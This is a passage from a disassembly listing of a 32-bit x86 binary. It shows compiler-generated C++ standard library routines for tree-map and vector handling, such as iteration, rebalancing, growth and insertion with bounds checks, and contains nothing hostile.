loc_409879:				; CODE XREF: sub_409852+23j
		mov	eax, [ecx]
		cmp	[eax+45h], bl
		jz	short loc_409877
		mov	[esi+4], ecx
		jmp	short loc_40989B
; ---------------------------------------------------------------------------


loc_409885:				; CODE XREF: sub_409852+44j
		mov	ecx, [esi+4]
		cmp	ecx, [eax+8]
		jnz	short loc_409898
		mov	[esi+4], eax


loc_409890:				; CODE XREF: sub_409852+21j
		mov	eax, [eax+4]
		cmp	[eax+45h], bl
		jz	short loc_409885


loc_409898:				; CODE XREF: sub_409852+39j
		mov	[esi+4], eax


loc_40989B:				; CODE XREF: sub_409852+19j
					; sub_409852+31j
		mov	eax, esi
		pop	ebx
		retn
sub_409852	endp


; =============== S U B	R O U T	I N E =======================================



sub_40989F	proc near		; CODE XREF: sub_4089E6+311p
					; sub_4089E6+365p ...
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4098A9
		cmp	eax, [edi]
		jz	short loc_4098AE


loc_4098A9:				; CODE XREF: sub_40989F+4j
		call	sub_40DCFC


loc_4098AE:				; CODE XREF: sub_40989F+8j
		mov	eax, [esi+4]
		sub	eax, [edi+4]
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_40989F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098BA	proc near		; CODE XREF: sub_4081BF+1A9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		call	sub_40690A
		test	eax, eax
		jnz	short loc_4098D0
		xor	ebx, ebx
		jmp	short loc_4098FA
; ---------------------------------------------------------------------------


loc_4098D0:				; CODE XREF: sub_4098BA+10j
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_4098DD
		call	sub_40DCFC


loc_4098DD:				; CODE XREF: sub_4098BA+1Cj
		cmp	[ebp+arg_8], 0
		jz	short loc_4098E8
		cmp	[ebp+arg_8], esi
		jz	short loc_4098ED


loc_4098E8:				; CODE XREF: sub_4098BA+27j
		call	sub_40DCFC


loc_4098ED:				; CODE XREF: sub_4098BA+2Cj
		mov	eax, [ebp+arg_C]
		sub	eax, edi
		push	38h
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, eax


loc_4098FA:				; CODE XREF: sub_4098BA+14j
		push	[ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		push	[ebp+arg_8]
		push	esi
		call	sub_409E2A
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_409916
		call	sub_40DCFC


loc_409916:				; CODE XREF: sub_4098BA+55j
		imul	ebx, 38h
		mov	[ebp+arg_C], edi
		add	edi, ebx
		cmp	edi, [esi+8]
		ja	short loc_409928
		cmp	edi, [esi+4]
		jnb	short loc_40992D


loc_409928:				; CODE XREF: sub_4098BA+67j
		call	sub_40DCFC


loc_40992D:				; CODE XREF: sub_4098BA+6Cj
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edi
		pop	edi
		mov	[eax], esi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4098BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40993D	proc near		; CODE XREF: sub_4081BF+184p
					; sub_409E2A+AFp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B28F
		mov	eax, [ebp+arg_4]
		imul	eax, 38h
		add	esp, 14h
		add	eax, [ebp+arg_0]
		pop	edi
		leave
		retn	0Ch
sub_40993D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40996D	proc near		; CODE XREF: sub_4081BF+2F8p

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		mov	eax, esi
		call	sub_406949
		test	eax, eax
		jnz	short loc_409983
		and	[ebp+var_8], eax
		jmp	short loc_4099AE
; ---------------------------------------------------------------------------


loc_409983:				; CODE XREF: sub_40996D+Fj
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_409990
		call	sub_40DCFC


loc_409990:				; CODE XREF: sub_40996D+1Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_40999B
		cmp	[ebp+arg_4], esi
		jz	short loc_4099A0


loc_40999B:				; CODE XREF: sub_40996D+27j
		call	sub_40DCFC


loc_4099A0:				; CODE XREF: sub_40996D+2Cj
		mov	eax, [ebp+arg_8]
		sub	eax, edi
		push	2Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_8], eax


loc_4099AE:				; CODE XREF: sub_40996D+14j
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		push	[ebp+arg_4]
		push	esi
		call	sub_40A022
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_4099CA
		call	sub_40DCFC


loc_4099CA:				; CODE XREF: sub_40996D+56j
		push	[ebp+var_8]
		mov	[ebp+arg_8], edi
		lea	edi, [ebp+arg_4]
		mov	[ebp+arg_4], esi
		call	sub_40AFC3
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebx+4], eax
		mov	[ebx], ecx
		mov	eax, ebx
		pop	edi
		leave
		retn	0Ch
sub_40996D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099EC	proc near		; CODE XREF: sub_4081BF+2D6p
					; sub_40A022+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2EF
		mov	eax, [ebp+arg_4]
		imul	eax, 2Ch
		add	esp, 14h
		add	eax, [ebp+arg_0]
		pop	edi
		leave
		retn	0Ch
sub_4099EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A1D	proc near		; CODE XREF: sub_409560+54p

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		mov	eax, esi
		call	sub_4057B6
		test	eax, eax
		jnz	short loc_409A33
		and	[ebp+var_8], eax
		jmp	short loc_409A5E
; ---------------------------------------------------------------------------


loc_409A33:				; CODE XREF: sub_409A1D+Fj
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_409A40
		call	sub_40DCFC


loc_409A40:				; CODE XREF: sub_409A1D+1Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_409A4B
		cmp	[ebp+arg_4], esi
		jz	short loc_409A50


loc_409A4B:				; CODE XREF: sub_409A1D+27j
		call	sub_40DCFC


loc_409A50:				; CODE XREF: sub_409A1D+2Cj
		mov	eax, [ebp+arg_8]
		sub	eax, edi
		push	1Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_8], eax


loc_409A5E:				; CODE XREF: sub_409A1D+14j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_40A246
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_409A7A
		call	sub_40DCFC


loc_409A7A:				; CODE XREF: sub_409A1D+56j
		push	[ebp+var_8]
		mov	[ebp+arg_8], edi
		lea	edi, [ebp+arg_4]
		mov	[ebp+arg_4], esi
		call	sub_40AFF4
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebx+4], eax
		mov	[ebx], ecx
		mov	eax, ebx
		pop	edi
		leave
		retn	0Ch
sub_409A1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A9C	proc near		; CODE XREF: sub_409560+36p
					; sub_40A246+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B35E
		mov	eax, [ebp+arg_4]
		imul	eax, 1Ch
		add	esp, 14h
		add	eax, [ebp+arg_0]
		pop	edi
		leave
		retn	0Ch
sub_409A9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409ACC	proc near		; CODE XREF: sub_4095C0+99p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		cmp	[ebx+8], eax
		push	esi
		push	edi
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		jnz	short loc_409AFE
		mov	ecx, [ebx+4]


loc_409AE7:				; CODE XREF: sub_409ACC+64j
		push	[ebp+arg_4]
		push	1


loc_409AEC:				; CODE XREF: sub_409ACC+A2j
		mov	esi, ebx


loc_409AEE:				; CODE XREF: sub_409ACC+EFj
					; sub_409ACC+F8j ...
		push	[ebp+arg_0]
		call	sub_40A5B6
		mov	eax, [ebp+arg_0]
		jmp	loc_409C46
; ---------------------------------------------------------------------------


loc_409AFE:				; CODE XREF: sub_409ACC+16j
		mov	eax, [ebx+4]
		mov	eax, [eax]
		lea	edi, [ebp+var_10]
		lea	esi, [ebp+arg_8]
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], ebx
		call	sub_40989F
		test	al, al
		jz	short loc_409B32
		mov	esi, [ebp+arg_C]
		mov	eax, [ebp+arg_4]
		lea	ecx, [esi+0Ch]
		call	sub_409C4D
		test	al, al
		jz	loc_409C2B
		mov	ecx, esi
		jmp	short loc_409AE7
; ---------------------------------------------------------------------------


loc_409B32:				; CODE XREF: sub_409ACC+4Aj
		mov	eax, [ebx+4]
		lea	edi, [ebp+var_10]
		lea	esi, [ebp+arg_8]
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], ebx
		call	sub_40989F
		test	al, al
		jz	short loc_409B73
		mov	eax, [ebx+4]
		mov	eax, [eax+8]
		mov	ecx, [ebp+arg_4]
		add	eax, 0Ch
		call	sub_409C4D
		test	al, al
		jz	loc_409C2B
		push	[ebp+arg_4]
		mov	eax, [ebx+4]
		mov	ecx, [eax+8]
		push	0
		jmp	loc_409AEC
; ---------------------------------------------------------------------------


loc_409B73:				; CODE XREF: sub_409ACC+7Cj
		mov	edi, [ebp+arg_C]
		mov	eax, [ebp+arg_4]
		lea	ecx, [edi+0Ch]
		call	sub_409C4D
		test	al, al
		jz	short loc_409BC9
		mov	eax, [ebp+arg_8]
		lea	esi, [ebp+var_8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edi
		call	sub_40A8CD
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		add	eax, 0Ch
		call	sub_409C4D
		test	al, al
		jz	short loc_409BC9
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+45h], 0
		push	[ebp+arg_4]
		mov	esi, ebx
		jz	short loc_409BC0


loc_409BB9:				; CODE XREF: sub_409ACC+153j
		push	0
		jmp	loc_409AEE
; ---------------------------------------------------------------------------


loc_409BC0:				; CODE XREF: sub_409ACC+EBj
		push	1
		mov	ecx, edi
		jmp	loc_409AEE
; ---------------------------------------------------------------------------


loc_409BC9:				; CODE XREF: sub_409ACC+B7j
					; sub_409ACC+DAj
		mov	ecx, [ebp+arg_4]
		lea	eax, [edi+0Ch]
		call	sub_409C4D
		test	al, al
		jz	short loc_409C2B
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], eax
		mov	eax, [ebx+4]
		lea	esi, [ebp+var_8]
		mov	[ebp+var_4], edi
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], ebx
		call	sub_409852
		lea	edi, [ebp+var_10]
		call	sub_40989F
		test	al, al
		jnz	short loc_409C10
		mov	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_4]
		add	ecx, 0Ch
		call	sub_409C4D
		test	al, al
		jz	short loc_409C2B


loc_409C10:				; CODE XREF: sub_409ACC+130j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+45h], 0
		push	[ebp+arg_4]
		mov	esi, ebx
		jnz	short loc_409BB9
		mov	ecx, [ebp+var_4]
		push	1
		jmp	loc_409AEE
; ---------------------------------------------------------------------------


loc_409C2B:				; CODE XREF: sub_409ACC+5Cj
					; sub_409ACC+91j ...
		push	[ebp+arg_4]
		push	ebx
		lea	ebx, [ebp+var_14]
		call	sub_40A44B
		mov	edx, [eax]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [eax+4]
		mov	[ecx+4], eax
		mov	eax, ecx


loc_409C46:				; CODE XREF: sub_409ACC+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_409ACC	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C4D	proc near		; CODE XREF: sub_4089E6+323p
					; sub_4095C0+4Fp ...
		cmp	dword ptr [ecx+18h], 10h
		push	edi
		mov	edi, [ecx+14h]
		jb	short loc_409C5C
		mov	ecx, [ecx+4]
		jmp	short loc_409C5F
; ---------------------------------------------------------------------------


loc_409C5C:				; CODE XREF: sub_409C4D+8j
		add	ecx, 4


loc_409C5F:				; CODE XREF: sub_409C4D+Dj
		push	ecx
		mov	ecx, [eax+14h]
		call	sub_4059BE
		xor	ecx, ecx
		test	eax, eax
		setl	cl
		mov	al, cl
		pop	edi
		retn
sub_409C4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C73	proc near		; CODE XREF: sub_409720+5Ap
		mov	eax, offset loc_41B10D
		call	sub_41AE44
		sub	esp, 48h
		cmp	dword ptr [esi+8], 5D1745Ch
		push	ebx
		push	edi
		mov	edi, ecx
		jb	short loc_409CBF
		push	offset aMapSetTTooLong ; "map/set<T> too long"
		lea	ecx, [ebp-28h]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401869
		push	offset dword_41FEF8
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41C2A8
		call	sub_4107BC


loc_409CBF:				; CODE XREF: sub_409C73+18j
		push	dword ptr [ebp+10h]
		mov	eax, [esi+4]
		push	eax
		push	edi
		push	eax
		call	sub_40A86C
		inc	dword ptr [esi+8]
		mov	ebx, eax
		mov	eax, [esi+4]
		cmp	edi, eax
		jnz	short loc_409CE6
		mov	[eax+4], ebx
		mov	eax, [esi+4]
		mov	[eax], ebx
		mov	eax, [esi+4]
		jmp	short loc_409D04
; ---------------------------------------------------------------------------


loc_409CE6:				; CODE XREF: sub_409C73+64j
		cmp	byte ptr [ebp+0Ch], 0
		jz	short loc_409CF9
		mov	[edi], ebx
		mov	eax, [esi+4]
		cmp	edi, [eax]
		jnz	short loc_409D07
		mov	[eax], ebx
		jmp	short loc_409D07
; ---------------------------------------------------------------------------


loc_409CF9:				; CODE XREF: sub_409C73+77j
		mov	[edi+8], ebx
		mov	eax, [esi+4]
		cmp	edi, [eax+8]
		jnz	short loc_409D07


loc_409D04:				; CODE XREF: sub_409C73+71j
		mov	[eax+8], ebx


loc_409D07:				; CODE XREF: sub_409C73+80j
					; sub_409C73+84j ...
		mov	edi, ebx
		lea	eax, [ebx+4]
		jmp	loc_409D9B
; ---------------------------------------------------------------------------


loc_409D11:				; CODE XREF: sub_409C73+12Ej
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		cmp	ecx, [edx]
		jnz	short loc_409D4F
		mov	edx, [edx+8]
		cmp	byte ptr [edx+38h], 0
		jz	short loc_409D57
		cmp	edi, [ecx+8]
		jnz	short loc_409D30
		push	esi
		mov	edi, ecx
		call	sub_40A7EA


loc_409D30:				; CODE XREF: sub_409C73+B3j
		mov	eax, [edi+4]
		mov	byte ptr [eax+38h], 1
		mov	eax, [edi+4]
		mov	eax, [eax+4]
		mov	byte ptr [eax+38h], 0
		mov	eax, [edi+4]
		mov	ecx, [eax+4]
		push	esi
		call	sub_40A82A
		jmp	short loc_409D98
; ---------------------------------------------------------------------------


loc_409D4F:				; CODE XREF: sub_409C73+A5j
		mov	edx, [edx]
		cmp	byte ptr [edx+38h], 0
		jnz	short loc_409D6F


loc_409D57:				; CODE XREF: sub_409C73+AEj
		mov	byte ptr [ecx+38h], 1
		mov	byte ptr [edx+38h], 1
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		mov	byte ptr [ecx+38h], 0
		mov	eax, [eax]
		mov	edi, [eax+4]
		jmp	short loc_409D98
; ---------------------------------------------------------------------------


loc_409D6F:				; CODE XREF: sub_409C73+E2j
		cmp	edi, [ecx]
		jnz	short loc_409D7B
		push	esi
		mov	edi, ecx
		call	sub_40A82A


loc_409D7B:				; CODE XREF: sub_409C73+FEj
		mov	eax, [edi+4]
		mov	byte ptr [eax+38h], 1
		mov	eax, [edi+4]
		mov	eax, [eax+4]
		mov	byte ptr [eax+38h], 0
		mov	eax, [edi+4]
		mov	ecx, [eax+4]
		push	esi
		call	sub_40A7EA


loc_409D98:				; CODE XREF: sub_409C73+DAj
					; sub_409C73+FAj
		lea	eax, [edi+4]


loc_409D9B:				; CODE XREF: sub_409C73+99j
		mov	ecx, [eax]
		cmp	byte ptr [ecx+38h], 0
		jz	loc_409D11
		mov	eax, [esi+4]
		mov	eax, [eax+4]
		mov	ecx, [ebp-0Ch]
		mov	byte ptr [eax+38h], 1
		mov	eax, [ebp+8]
		mov	[eax+4], ebx
		pop	edi
		mov	[eax], esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
sub_409C73	endp


; =============== S U B	R O U T	I N E =======================================



sub_409DC9	proc near		; CODE XREF: sub_409720+72p
		push	ebx
		xor	ebx, ebx
		cmp	[esi], ebx
		jnz	short loc_409DD5
		call	sub_40DCFC


loc_409DD5:				; CODE XREF: sub_409DC9+5j
		mov	eax, [esi+4]
		cmp	[eax+39h], bl
		jz	short loc_409DEA
		mov	eax, [eax+8]
		mov	[esi+4], eax
		cmp	[eax+39h], bl
		jz	short loc_409E26
		jmp	short loc_409E1C
; ---------------------------------------------------------------------------


loc_409DEA:				; CODE XREF: sub_409DC9+12j
		mov	ecx, [eax]
		cmp	[ecx+39h], bl
		jnz	short loc_409E0C
		jmp	short loc_409DF5
; ---------------------------------------------------------------------------


loc_409DF3:				; CODE XREF: sub_409DC9+32j
		mov	ecx, eax


loc_409DF5:				; CODE XREF: sub_409DC9+28j
		mov	eax, [ecx+8]
		cmp	[eax+39h], bl
		jz	short loc_409DF3
		mov	[esi+4], ecx
		jmp	short loc_409E26
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409DC9+49j
		mov	ecx, [esi+4]
		cmp	ecx, [eax]
		jnz	short loc_409E14
		mov	[esi+4], eax


loc_409E0C:				; CODE XREF: sub_409DC9+26j
		mov	eax, [eax+4]
		cmp	[eax+39h], bl
		jz	short loc_409E02


loc_409E14:				; CODE XREF: sub_409DC9+3Ej
		mov	ecx, [esi+4]
		cmp	[ecx+39h], bl
		jz	short loc_409E23


loc_409E1C:				; CODE XREF: sub_409DC9+1Fj
		call	sub_40DCFC
		jmp	short loc_409E26
; ---------------------------------------------------------------------------


loc_409E23:				; CODE XREF: sub_409DC9+51j
		mov	[esi+4], eax


loc_409E26:				; CODE XREF: sub_409DC9+1Dj
					; sub_409DC9+37j ...
		mov	eax, esi
		pop	ebx
		retn
sub_409DC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_409E2A	proc near		; CODE XREF: sub_4098BA+4Ap
		mov	eax, offset loc_41B14D
		call	sub_41AE44
		sub	esp, 44h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		lea	eax, [ebp-4Ch]
		mov	[ebp-10h], esp
		push	eax
		call	sub_407525
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	ecx, [esi+4]
		cmp	ecx, ebx
		jz	short loc_409E62
		mov	eax, [esi+0Ch]
		sub	eax, ecx
		push	38h
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, eax


loc_409E62:				; CODE XREF: sub_409E2A+29j
		mov	eax, esi
		call	sub_40690A
		mov	edi, 4924924h
		mov	ecx, edi
		sub	ecx, eax
		cmp	ecx, 1
		jnb	short loc_409E7C
		call	sub_40684D


loc_409E7C:				; CODE XREF: sub_409E2A+4Bj
		mov	eax, esi
		call	sub_40690A
		inc	eax
		cmp	ebx, eax
		jnb	loc_409F47
		mov	eax, ebx
		shr	eax, 1
		sub	edi, eax
		cmp	edi, ebx
		jnb	short loc_409E9A
		xor	ebx, ebx
		jmp	short loc_409E9C
; ---------------------------------------------------------------------------


loc_409E9A:				; CODE XREF: sub_409E2A+6Aj
		add	ebx, eax


loc_409E9C:				; CODE XREF: sub_409E2A+6Ej
		mov	eax, esi
		call	sub_40690A
		inc	eax
		cmp	ebx, eax
		jnb	short loc_409EB2
		mov	eax, esi
		call	sub_40690A
		mov	ebx, eax
		inc	ebx


loc_409EB2:				; CODE XREF: sub_409E2A+7Cj
		mov	ecx, ebx
		call	sub_406988
		push	eax
		push	dword ptr [ebp+10h]
		mov	byte ptr [ebp-4], 1
		mov	ecx, [esi+4]
		mov	[ebp-14h], eax
		mov	[ebp+8], eax
		call	sub_4071F6
		lea	ecx, [ebp-4Ch]
		push	ecx
		push	1
		push	eax
		mov	[ebp+8], eax
		call	sub_40993D
		mov	ecx, [ebp+10h]
		push	eax
		push	dword ptr [esi+8]
		mov	[ebp+8], eax
		call	sub_4071F6
		mov	eax, esi
		call	sub_40690A
		mov	edi, eax
		mov	eax, [esi+4]
		inc	edi
		test	eax, eax
		jz	short loc_409F0F
		push	dword ptr [esi+8]
		call	sub_406737
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx


loc_409F0F:				; CODE XREF: sub_409E2A+D2j
		mov	eax, [ebp-14h]
		imul	ebx, 38h
		imul	edi, 38h
		add	ebx, eax
		add	edi, eax
		mov	[esi+0Ch], ebx
		mov	[esi+8], edi
		mov	[esi+4], eax
		jmp	loc_409FF9
; ---------------------------------------------------------------------------


loc_409F2A:				; DATA XREF: .vty:00420954o
		push	dword ptr [ebp+8]
		mov	eax, [ebp-14h]
		call	sub_406737
		push	dword ptr [ebp-14h]
		call	sub_40DD8A
		pop	ecx


loc_409F3E:				; CODE XREF: sub_409E2A+196j
		push	0
		push	0
		call	sub_4107BC


loc_409F47:				; CODE XREF: sub_409E2A+5Cj
		mov	ebx, [esi+8]
		mov	edi, [ebp+10h]
		mov	eax, ebx
		sub	eax, edi
		push	38h
		cdq
		pop	ecx
		idiv	ecx
		cmp	eax, 1
		jnb	short loc_409FC5
		lea	eax, [edi+38h]
		push	eax
		push	ebx
		mov	ecx, edi
		call	sub_4071F6
		mov	byte ptr [ebp-4], 3
		mov	ecx, [esi+8]
		lea	eax, [ebp-4Ch]
		push	eax
		mov	eax, ecx
		sub	eax, edi
		push	38h
		pop	ebx
		cdq
		idiv	ebx
		xor	edx, edx
		inc	edx
		sub	edx, eax
		push	edx
		push	ecx
		call	sub_40993D
		and	dword ptr [ebp-4], 0
		add	[esi+8], ebx
		mov	esi, [esi+8]
		lea	ebx, [esi-38h]
		jmp	short loc_409FA5
; ---------------------------------------------------------------------------


loc_409F98:				; CODE XREF: sub_409E2A+17Dj
		lea	eax, [ebp-4Ch]
		mov	esi, edi
		call	sub_4076C2
		add	edi, 38h


loc_409FA5:				; CODE XREF: sub_409E2A+16Cj
		cmp	edi, ebx
		jnz	short loc_409F98
		jmp	short loc_409FF9
; ---------------------------------------------------------------------------


loc_409FAB:				; DATA XREF: .vty:00420964o
		mov	eax, [ebp+8]
		mov	eax, [eax+8]
		add	eax, 38h
		push	eax
		mov	eax, [ebp+10h]
		add	eax, 38h
		call	sub_406737
		jmp	loc_409F3E
; ---------------------------------------------------------------------------


loc_409FC5:				; CODE XREF: sub_409E2A+130j
		push	ebx
		lea	ecx, [ebx-38h]
		push	ebx
		mov	[ebp+8], ecx
		call	sub_4071F6
		mov	[esi+8], eax
		mov	eax, [ebp+8]
		push	ebx
		push	edi
		call	sub_40B1BF
		lea	ebx, [edi+38h]
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		mov	esi, edi
		jz	short loc_409FF9


loc_409FEA:				; CODE XREF: sub_409E2A+1CDj
		lea	eax, [ebp-4Ch]
		call	sub_4076C2
		add	esi, 38h
		cmp	esi, ebx
		jnz	short loc_409FEA


loc_409FF9:				; CODE XREF: sub_409E2A+FBj
					; sub_409E2A+17Fj ...
		push	0
		push	1
		lea	ecx, [ebp-30h]
		call	sub_4013C4
		push	0
		push	1
		lea	ecx, [ebp-4Ch]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
sub_409E2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A022	proc near		; CODE XREF: sub_40996D+4Bp
		mov	eax, offset loc_41B50C
		call	sub_41AE44
		sub	esp, 34h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		lea	eax, [ebp-40h]
		mov	[ebp-10h], esp
		push	eax
		mov	edi, ecx
		call	sub_407560
		xor	edi, edi
		mov	[ebp-4], edi
		mov	ecx, [esi+4]
		cmp	ecx, edi
		jz	short loc_40A05C
		mov	eax, [esi+0Ch]
		sub	eax, ecx
		push	2Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	edi, eax


loc_40A05C:				; CODE XREF: sub_40A022+2Bj
		mov	eax, esi
		call	sub_406949
		mov	ebx, 5D1745Dh
		mov	ecx, ebx
		sub	ecx, eax
		cmp	ecx, 1
		jnb	short loc_40A076
		call	sub_40684D


loc_40A076:				; CODE XREF: sub_40A022+4Dj
		mov	eax, esi
		call	sub_406949
		inc	eax
		cmp	edi, eax
		jnb	loc_40A141
		mov	eax, edi
		shr	eax, 1
		sub	ebx, eax
		cmp	ebx, edi
		jnb	short loc_40A094
		xor	edi, edi
		jmp	short loc_40A096
; ---------------------------------------------------------------------------


loc_40A094:				; CODE XREF: sub_40A022+6Cj
		add	edi, eax


loc_40A096:				; CODE XREF: sub_40A022+70j
		mov	eax, esi
		call	sub_406949
		inc	eax
		cmp	edi, eax
		jnb	short loc_40A0AC
		mov	eax, esi
		call	sub_406949
		mov	edi, eax
		inc	edi


loc_40A0AC:				; CODE XREF: sub_40A022+7Ej
		mov	ecx, edi
		call	sub_4069D2
		push	eax
		push	dword ptr [ebp+10h]
		mov	byte ptr [ebp-4], 1
		mov	ecx, [esi+4]
		mov	[ebp-14h], eax
		mov	[ebp+8], eax
		call	sub_40B203
		lea	ecx, [ebp-40h]
		push	ecx
		push	1
		push	eax
		mov	[ebp+8], eax
		call	sub_4099EC
		mov	ecx, [ebp+10h]
		push	eax
		push	dword ptr [esi+8]
		mov	[ebp+8], eax
		call	sub_40B203
		mov	eax, esi
		call	sub_406949
		mov	ebx, eax
		mov	eax, [esi+4]
		inc	ebx
		test	eax, eax
		jz	short loc_40A109
		push	dword ptr [esi+8]
		call	sub_4067F1
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx


loc_40A109:				; CODE XREF: sub_40A022+D4j
		mov	eax, [ebp-14h]
		imul	edi, 2Ch
		imul	ebx, 2Ch
		add	edi, eax
		add	ebx, eax
		mov	[esi+0Ch], edi
		mov	[esi+8], ebx
		mov	[esi+4], eax
		jmp	loc_40A221
; ---------------------------------------------------------------------------


loc_40A124:				; DATA XREF: .vty:00421178o
		push	dword ptr [ebp+8]
		mov	eax, [ebp-14h]
		call	sub_4067F1
		push	dword ptr [ebp-14h]
		call	sub_40DD8A
		pop	ecx


loc_40A138:				; CODE XREF: sub_40A022+1B4j
		push	0
		push	0
		call	sub_4107BC


loc_40A141:				; CODE XREF: sub_40A022+5Ej
		mov	edi, [esi+8]
		mov	ebx, [ebp+10h]
		mov	eax, edi
		sub	eax, ebx
		push	2Ch
		cdq
		pop	ecx
		idiv	ecx
		cmp	eax, 1
		jnb	loc_40A1DB
		lea	eax, [ebx+2Ch]
		push	eax
		push	edi
		mov	ecx, ebx
		call	sub_40B203
		mov	byte ptr [ebp-4], 3
		mov	ecx, [esi+8]
		lea	eax, [ebp-40h]
		push	eax
		mov	eax, ecx
		sub	eax, ebx
		push	2Ch
		pop	edi
		cdq
		idiv	edi
		xor	edx, edx
		inc	edx
		sub	edx, eax
		push	edx
		push	ecx
		call	sub_4099EC
		and	dword ptr [ebp-4], 0
		add	[esi+8], edi
		mov	esi, [esi+8]
		lea	edi, [esi-2Ch]
		cmp	ebx, edi
		mov	esi, ebx
		jz	loc_40A221


loc_40A19E:				; CODE XREF: sub_40A022+19Bj
